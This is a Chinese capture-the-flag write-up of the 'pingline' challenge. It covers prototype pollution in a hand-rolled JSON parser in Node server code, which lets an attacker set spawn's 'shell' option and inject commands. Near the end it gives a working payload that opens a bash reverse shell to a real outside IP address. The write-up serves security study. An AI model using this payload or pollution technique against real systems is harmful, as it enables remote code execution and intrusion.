2024湖南省大学生程序设计竞赛-网络攻防赛(复盘)

pingline

源码如下，自己加了点调试语句

"use server";

import { spawn } from "node:child_process";

/*
 * Reinventing the wheel and make it square
 * Because JSON.parse is not available in the server environment (really?)
 */
function jsonParse(
  str: string,
  ret?: Record<string, any>
): Record<string, any> {
  ret ??= {};


  if (!(str.startsWith("{") && str.endsWith("}"))) {
    return ret;
  }

  const matches = str
    .slice(1, str.length - 1)
    .matchAll(
      /(?:^|,)\s*"(?<key>\w+)"\s*:\s*(?<value>\d+|(?:true|false)|"(?:\\.|[^"])*"|\{.+?})/g
    );
  for (const match of matches) {
    const { key, value } = match.groups!;
    if (value.startsWith('"')) {
      ret[key] = value
        .slice(1, value.length - 1)
        .replace(/\\(u([0-9a-fA-F]{4})|.)/g, (_, m: string, code: string) =>
          m === "u"
            ? String.fromCharCode(parseInt(code, 16))
            : ({ b: "\b", f: "\f", n: "\n", r: "\r", t: "\t" }[m] ?? m)
        );
    } else if (value.startsWith("{")) {
      if (!(key in ret)) ret[key] = {};
      jsonParse(value, ret[key]);
    } else {
      ret[key] = { true: true, false: false }[value] ?? +value;
    }
  }

  return ret;
}

export async function pingAction(data: string, count: number = 4) {
  // 打印接收到的 data
  console.log("Received data:", data);
  const body: { ip?: string } = jsonParse(data);
  console.log(body.__proto__);
  console.log("body:", body);
  console.log("body.ip:", body.ip);
  const proc = spawn("ping", [`-c${count}`, body.ip!, "-W1"], {
    stdio: ["inherit", "pipe", "pipe"],
    env: { ...process.env, LC_ALL: "C.UTF-8" },
  });

  console.log(proc);
  let output = "";
  proc.stdout.on("data", (data) => (output += data));
  proc.stderr.on("data", (data) => (output += data));

  await new Promise((resolve) => proc.on("close", resolve));

  return output;
}

很明显jsonParse有个原型链污染

这里我们把一个ip传进来作为ping的参数

因为spawn只能传递参数，所以是不能命令拼接的。然后我们参考新版JS Prototype Pollution to RCE学习解析，显然考点就是这个了。
我们先看一下官方文档关于这个函数，可以看到有个shell参数可以是bool或string

询问chatgpt这里可以是不同的shell

指定之后我们就可以拼接命令了，而且成功执行了。为什么呢？

先看一下不自定义shell的情况下会怎样

定义了之后args变成了bash -c

我们改shell为python也可以，所以只要shell的值有-c就可以了。

["{\"__proto__\":{\"shell\":\"bash\"},\"ip\":\"www.baidu.com|/bin/bash -i >& /dev/tcp/124.221.19.214/2333 0>&1|ping www.baidu.com\"}"]

污染shell之后成功弹shell

但是这里为什么能污染成功，重点是
const proc = spawn("ping", [-c${count}, ip, "-W1"],{});里的{}，我们之前给{}的原型污染了一个shell属性，所以这个options里面就也有了这个属性，如果去掉{}，就无法污染成功。